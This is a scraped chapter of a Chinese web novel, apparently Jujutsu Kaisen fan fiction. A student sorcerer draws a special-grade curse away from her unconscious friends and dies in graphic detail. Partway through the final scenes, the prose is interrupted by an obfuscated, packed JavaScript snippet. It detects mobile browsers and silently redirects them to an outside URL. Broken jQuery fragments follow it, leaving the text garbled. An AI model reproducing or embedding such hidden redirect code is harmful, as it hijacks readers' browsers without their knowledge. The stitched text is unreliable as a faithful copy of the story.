默认冷灰
24号文字
方正启体

18. 第十八章

作者:是试试本书字数:K更新时间:
    现在的局面已经完全超出了控制


    花野依蜷缩在石缝深处,维持着「幻花镜」的咒力输出,确保自己和两个昏迷的同伴仍然被那片迷惑感官的花海笼罩。


    脑海里飞速运转着思考对策。


    眼前这个特级咒灵,已经不是他们三个学生能够解决的了。


    即使伏黑惠和钉崎野蔷薇现在醒来,三人联手,面对刚刚屠杀了全村近百条生命的怪物,也只有一个结局。


    他们需要救援


    需要通知外界,需要有人来


    但她的手机早就被那些村民收走了。


    现在想来,那些猴子从一开始就没打算让他们活着离开。


    她只能寄希望于辅助监督能够发现这里的不对劲,或者“窗”的监测人员能够检测到这个偏远山村里突然爆发的特级咒力波动。


    可是这个村子太偏了,连信号都断断续续,开车进来都需要大半天,等他们发现不对劲,等他们派人过来,等他们……


    来得及吗?


    最后一个村民的惨叫声在山洞里回荡着,渐渐低了下去,最终归于沉寂。


    花野依透过石缝的间隙看过去,看见那个咒灵站在尸山血海之中


    苍白的手收回体内,那双血红的眼睛缓缓闭上,像是在享受什么美味的餐后甜点。


    然后


    它睁开眼睛,那双眼睛里的红光更盛了,压迫感更强了,它的咒力浓度明显比之前又深厚了几分。


    它又变强了


    那些村民的血肉,临死前的恐惧和绝望,全都成了它的养料。


    花野依的心脏猛地收紧,这个级别的咒力波动,恐怕已经逼近特级的上游水准。


    这样的存在,恐怕只有五条老师能够解决。


    可是五条老师现在正在海外出差,远在千里之外,根本不可能及时赶回来。


    冷汗从她的额角滑落,浸湿了鬓发,黏在苍白的脸颊上 她的呼吸变得急促起来。


    维持「幻花镜」需要持续输出咒力,而她在维持术式的同时,还要分出一部分咒力去加速体内药物的分解。


    两者并行,让本就所剩不多的咒力像漏水的桶一样飞速流失。


    四肢无力的感觉又开始涌上来


    药物分解的速度变慢了,那些麻痹神经的成分重新占据上风,让她的肌肉开始发软。


    她的手指开始颤抖她咬紧牙关,试图加大咒力输出,却发现身体已经开始不听使唤。


    就在这时,那个咒灵动了起来


    它没有继续在山洞里停留,而是转过身,向着洞口的方向,缓缓走去。


    一般来说,咒灵是不会离开自己的诞生地,那里有它们的怨念核心,有它们的能量来源,离开那里会让它们变得虚弱。


    但偶尔也有例外,特别是特级咒灵,特别是刚刚晋升、正处于力量巅峰的特级咒灵……


    花野依看着那个庞大的、类人型的轮廓一步一步走向洞口,心里只剩下一个念头


    走出去,走出去,离开这里,离开我们——


    咒灵的身影在山洞的入口处


    花野依屏住呼吸,继续维持着术式,等待着,等待着它走远,等待着它离开这片区域


    四肢无力的感突然加强,像是一股潮水猛地涌上来,冲垮了她苦苦维持的平衡。


    她的腿一软,整个人向后倒去,右手本能地伸向身后的石壁想要支撑住身体


    哐啷——!


    那块石壁不知是因为年月太久还是被咒力侵蚀,竟然在她这一撑之下碎裂开来,几块细碎的石子崩落,在地上弹跳着,发出清脆的声响。


    花野依的心跳在那一瞬间停止了


    她猛地抬头,看向洞口的方向


    那个已经走出去的庞大身影,停住了


    它转过身来。


    霎那间,那些苍白的手从它体内伸出,铺天盖地地向着石缝的方向涌来


    轰隆——!


    她身旁的石壁被那些手击中,整块岩石炸裂开来,碎石飞溅,砸在她身上,划破了她的脸颊和手臂。


    但花野依顾不上那些,她的目光越过那些碎石,看向自己身后,伏黑惠和钉崎野蔷薇依然昏迷着,躺在那里,对这一切一无所知。


    她被发现了!


    花野依的目光在两人脸上停留了一瞬,只有一眨眼的工夫,她在心里做出了决定。


    她解除了自己身上的术式,让那片保护自己的花海消散,让自己彻底暴露在那个咒灵的感知里。


    她抬起那双还在发麻、还在颤抖的双腿,用尽全身力气,向着洞口的相反方向


    向着洞口处,向着远离那两个人的方向,狂奔。


    跑!


    跑起来!


    把它引开!


    汗水模糊了视线,她顾不上擦,身后那些苍白的手追上来,她顾不上躲。


    她拼命地跑,用那具已经被药物麻痹了大半的、虚弱不堪的身体,跑向她唯一能跑的方向。


    一只手从侧面袭来,她侧身躲过,手臂却被另一只手划开一道长长的口子,鲜血迸溅。


    又一只手从头顶落下,她矮身翻滚,后背却被蹭掉一层皮肉。


    更多的、无数的、密密麻麻的手从四面八方涌来,她在那缝隙间穿梭、闪躲、挣扎,像一只被困在蛛网里的飞虫,拼命想要挣脱。


    那些伤口火辣辣地疼,那些血在往外涌,那些药物在身体里作祟——但她不能停下来。


    在一次闪躲的间隙,她回头看了一眼,那个咒灵的注意力已经完全被她吸引,那些手全都追着她来了,没有一只伸向那个石缝的方向。


    她立刻减少了维持那两人身上术式的咒力输出,把更多的咒力留给自己,然后——


    「幻花镜」发动


    她的身影消失了


    在那个咒灵的感知里,那个刚刚还在拼命奔跑的猎物,突然就蒸发了一样,彻底没了踪迹。


    它茫然地停下攻击,那些手在空中胡乱摸索,却什么都碰不到。


    下一秒,花野依的身影出现在洞口不远处


    她没有隐藏自己,而是故意发出一声急促的喘息,故意让脚步声在山洞里回响,故意让那个咒灵看见她。


    看见她站在洞口,看见她回头看了它一眼,随即转身,向着洞外的黑暗狂奔而去。


    那个咒灵愣住了,它暴怒了,那些苍白的手疯狂地挥舞着,像是无数条触须在空气中抽动。


    它明白了,那个小虫子,那个一直在戏耍它的小虫子,刚才是在故意吸引它的注意,故意让它追着她跑,故意!


    更多的、更密集的、铺天盖地的手从它体内涌出,向着洞口的方向追去。


    但这一次,那些手不只是追,而是交织、缠绕、蔓延,在山洞的入口处形成了一道密不透风的墙。


    一道由无数苍白手指编织成的、严严实实的屏障——防止她再跑回山洞深处。


    花野依看着那道屏障在身后成形。


    那些密密麻麻的手指彻底隔绝了自己和同伴之间的通道,头也不回地冲进了洞外的黑暗里。


    外面是一片漆黑的森林


    没有月亮,没有星光,只有浓得化不开的黑暗,只有那些扭曲的、张牙舞爪的树影。


    花野依没有犹豫,没有选择方向,只是本能地朝着树林深处跑去,跑向那片什么都看不见的黑暗。


    身后,那个庞大的、愤怒的身影,紧跟着追了出来


    那些苍白的手在黑暗中挥舞,像是无数条触须在搜索、在追踪、在试图抓住那个胆敢戏弄它的小虫子。


    花野依在那片手的森林里穿梭,闪躲,奔跑。


    一边跑一边在心里默算着,特级咒灵的触手不可能无限伸长,一定有极限范围。


    她需要试探出那个范围,需要保持在那个范围的边缘。


    需要尽可能地把时间拖长,拖到有人来救援,拖到伏黑惠他们醒来,拖到——


    一只手从侧面袭来,她故意没有完全躲开,让那只手在她肩膀上划开一道伤口。


    疼,但她忍住了,继续跑。


    又一只手从背后追来,她侧身让那只手擦过腰侧,又是一道伤口,继续跑。


    第三道,第四道,第五道——


    她在用身体丈量距离


    终于,在又一次闪躲之后,她发现那些手的攻势变弱了。


    那些手追击的速度变慢,伸长的距离变短。


    她回头看了一眼,那个咒灵庞大的身影已经远得只剩下一个模糊的轮廓。


    那些手的尖端在她身后几米处徒劳地挥舞,再也够不到她。


    她测出来了,这是它的极限范围。


    花野依放慢了一点速度,让自己刚好停留在这个范围的边缘,不远不近。


    刚好够不到,刚好让它愤怒地追着她,刚好让那两个人安全。


    然后她开始戏弄它


    她的身影一会儿出现,一会儿消失,她的气息一会儿在这里,一会儿在那里。


    她像一只狡猾的蝴蝶,在那片手的边缘翩翩起舞,每一次都刚好躲开,每一次都刚好挑衅,每一次都让那个咒灵的怒火更盛一分。


    那个咒灵彻底被激怒了


    它发出一声刺耳的尖啸,那些手疯狂地挥舞着,却怎么也抓不到那个该死的、狡猾的、一次又一次戏弄它的小虫子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471641|201513||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    它的怒火越烧越旺,越烧越旺,终于——


    它收回了所有的手


    那些密密麻麻的触须瞬间缩回它体内,像是从未出现过一样,那个庞大的身影站在原地,一动不动。


    那双血红的眼睛盯着远处的花野依,盯着那个还在挑衅她的小虫子。


    花野依愣住了


    它要干什么?放弃了吗?


    下一秒,她感觉到有什么东西碰了碰她的右手手臂。


    那是一只纤细的手


    非常纤细,苍白,非常柔弱的手,像是轻轻一折就会断掉的手。


    它不知从哪里伸出来,就那么轻轻地、柔柔地、像是抚摸一样,搭在了她的右手手臂上。


    这只手,超出了她刚才测量的范围


    这只手,是从哪里来的?


    花野依来不及思考,下一秒,剧痛就从右手手臂上炸开了。


    灼烧般的痛感在她体内疯狂蔓延。


    她低头看去,看见那只手搭着的地方,正在以肉眼可见的速度蔓延开一片黑紫色的纹路。


    那些纹路像是有生命一样,顺着她的血管向上攀爬,所过之处,皮肤开始糜烂,肌肉开始腐败,血肉开始枯萎。


    是毒!


    这只手在释放毒素!


    花野依的脑海里一片嗡鸣,痛得几乎无法思考。


    她本能地想要挣脱,想要甩开那只手,但那只看似柔弱无力的手,却像是长在她手臂上一样,怎么都甩不掉。


    那些黑紫色的纹路已经蔓延到了她的肩膀,整条右手手臂的皮肤都在溃烂,都在腐败!


    她咬紧牙关,用尽全身力气向后一挣——


    噗嗤!


    那只手还搭在她手臂上,但她的手臂,已经和身体分开了。


    那条已经完全糜烂、腐败、枯萎的手臂,从肩膀处生生断裂。


    断臂被那只纤细的手轻轻握着,像握着一件已经无用的垃圾,鲜血从断口处喷涌而出,洒在地上,渗进泥土里。


    痛到发不出任何声音,痛到嘴唇被死死咬住流出血液,痛到视线模糊、呼吸急促、意识开始涣散。


    花野依没有停下来,她捂着不断喷血的断口,踉跄着继续向前跑,一步,两步,三步——


    那只手又来了


    这一次是从侧面,从背后,从四面八方


    那些纤细的、苍白的、柔弱的手,不知从哪里冒出来,不断地攻击着她。


    毒素从每一个伤口渗入,让她的身体开始从内部腐败,让她的意识开始从边缘模糊。


    咒力快要用尽了,已经无法维持「幻花镜」,无法隐匿自己,无法迷惑那个怪物。


    她只能把最后一点咒力全部用来强化身体,让那具已经破烂不堪的身体能够再多跑一步,再多跑一步——


    再跑远一点!


    再远一点!


    只要再远一点,伏黑惠和野蔷薇就安全一点!


    那些手还在追着她,那些毒素还在侵蚀着她,她的后背、大腿、肩膀、腰侧。


    每一个伤口都在腐烂,都在流血,都在把她推向死亡的深渊。


    她看不见那些,感受不到那些,她只知道跑,跑,跑!


    不知道跑了多久


    不知道跑了多远


    终于,她的腿再也迈不动了……


    花野依的身体向前倾倒,重重地摔在地上,泥土和碎石扎进她的伤口,带来一阵新的剧痛,但她已经感觉不到了。


    身体早就痛得麻木了,意识早就模糊得像隔着一层雾,只有那个念头还在支撑着她


    再爬几步,再爬几步——


    她趴在地上,用仅剩的左手,一点一点地向前爬。


    身后拖着一条长长的、触目惊心的血迹,在黑暗中蜿蜒向前,像是用生命写下的句号。


    爬……


    再爬一步!


    再爬——


    噗嗤!


    那只手从她的后背刺入,从前胸贯穿而出。


    花野依的身体猛地僵住,然后软软地趴了下去。


    大量的血液从那个贯穿的伤口涌出,涌进身下的泥土,把那片土地染成深黑色。


    她的眼睛还睁着,看着前方那片漆黑的森林,看着那片永远也跑不到头的黑暗。


    那只手慢慢抽了回去


    花野依趴在那里,躺在自己的血里,一动不动。


    森林里很安静


    安静得能听见风吹过树叶的沙沙声,能听见远处虫鸣的微弱回响,能听见——


    什么都没有了


    她就那样趴着,像是睡着了,像是终于可以休息了,只是那些血,还在流。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)